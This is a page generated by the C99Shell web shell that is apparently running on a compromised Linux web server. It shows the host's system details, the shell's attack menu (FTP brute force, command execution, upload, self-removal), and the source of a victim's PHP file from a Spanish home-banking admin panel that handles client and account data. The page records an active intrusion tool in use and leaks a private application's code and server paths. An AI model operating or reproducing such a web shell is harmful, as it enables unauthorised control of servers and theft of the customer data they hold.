!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.28 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     descomprimir.php (2.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
session_start
();
$pagina_actual="subir-actualizacion";
$categoria_actual="Actualizar Home-banking";
require_once(
"includes/config.php");
require_once(
"includes/funciones.php"); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Descomprimir</title>
</head>
<body>
<?php 
$query 
$mysqli->query("SELECT * FROM banking_archivos order by id desc");
if (
$row mysqli_fetch_assoc($query))
    {
    
$fichero="extraer/".$row['nombre_arc'];///zipeado
    
}
$fichero2 "articulos.txt";
$fichero3 "clientes.txt";
$fichero4 "cuentas_corrientes.txt";
$fichero5 "rubros.txt";
$fichero6 "subrubros.txt";
$fichero7 "ven_listas_precio.txt";
$fichero8 "ven_listas_precio_articulos.txt";
$fichero9 "vendedores.txt";
/////////esto hay que hacerlo al subirlo...
/*if (file_exists($fichero)) 
{
unlink("/home/campoamorh/public_html/administrar/extraer/".$fichero);*/
if (file_exists($fichero2)) 
{
unlink("extraer/".$fichero2);
}
if (
file_exists($fichero3)) 
{
unlink("extraer/".$fichero3);
}
if (
file_exists($fichero4)) 
{
unlink("extraer/".$fichero4);
}
if (
file_exists($fichero5)) 
{
unlink("extraer/".$fichero5);
}
if (
file_exists($fichero6)) 
{
unlink("extraer/".$fichero6);
}
if (
file_exists($fichero7)) 
{
unlink("extraer/".$fichero7);
}
if (
file_exists($fichero8)) 
{
unlink("extraer/".$fichero8);
}
if (
file_exists($fichero9)) 
{
unlink("extraer/".$fichero9);
}
/*if (file_exists($fichero10)) 
{
unlink("extraer/".$fichero10);
}*/
//exec("unzip $fichero"); 

$zip = new ZipArchive;
if (
$zip->open($fichero) === TRUE) {
    
$zip->extractTo('extraer/');
    
$zip->close();
    
$carga_exitosa="si";
} else {
    
$carga_exitosa="no";
}


///////borrar datos
if (file_exists($fichero)) 
{
unlink($fichero);
}
//require_once('Connections/campo.php');

if ($carga_exitosa=="si"){
?><script language="javascript">location.href = "actualizar_rubros.php";</script>
<? }else{
echo 
"Error: No se pudo actualizar la información, por favor intente nuevamente...";
//echo $fichero;
}?>

</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.8074 ]--